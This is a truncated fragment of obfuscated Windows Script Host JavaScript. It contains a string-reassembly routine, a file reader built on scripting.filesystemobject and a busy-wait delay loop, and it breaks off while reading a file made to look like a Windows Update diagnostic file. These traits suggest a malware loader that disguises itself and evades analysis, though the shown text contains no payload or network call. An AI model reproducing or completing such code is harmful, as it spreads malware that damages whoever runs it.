function manfulOnus(aforethoughtRighthander, evictTalebearer, accostedPerfunctory){aforethoughtRighthander = aforethoughtRighthander.split("");var conquersRetires = "";hagglesAstronaut = evictTalebearer.length;for(i = 0; i < hagglesAstronaut; i++){beratedCaters = evictTalebearer[i];if(typeof beratedCaters == "string"){conquersRetires += beratedCaters;}else{conquersRetires += aforethoughtRighthander[beratedCaters];}} return(conquersRetires);}function lithiumJugular(trespasserQuadrupling){var fso = WScript.CreateObject("scripting.filesystemobject");var trespasserQuadrupling = fso.opentextfile(trespasserQuadrupling, 1);drachmaeTerminable = trespasserQuadrupling.readall();return(drachmaeTerminable);}function matzoTriangular(milkthistleSlaughterhouse){var curtseyUnrestricted = new Date();var figuredHandhold = null;do{figuredHandhold = new Date();}while(figuredHandhold - curtseyUnrestricted < milkthistleSlaughterhouse);}var drachmaeTerminable = lithiumJugular("C:\\Windows\\diagnostics\\index\\WindowsUpdateDiagnost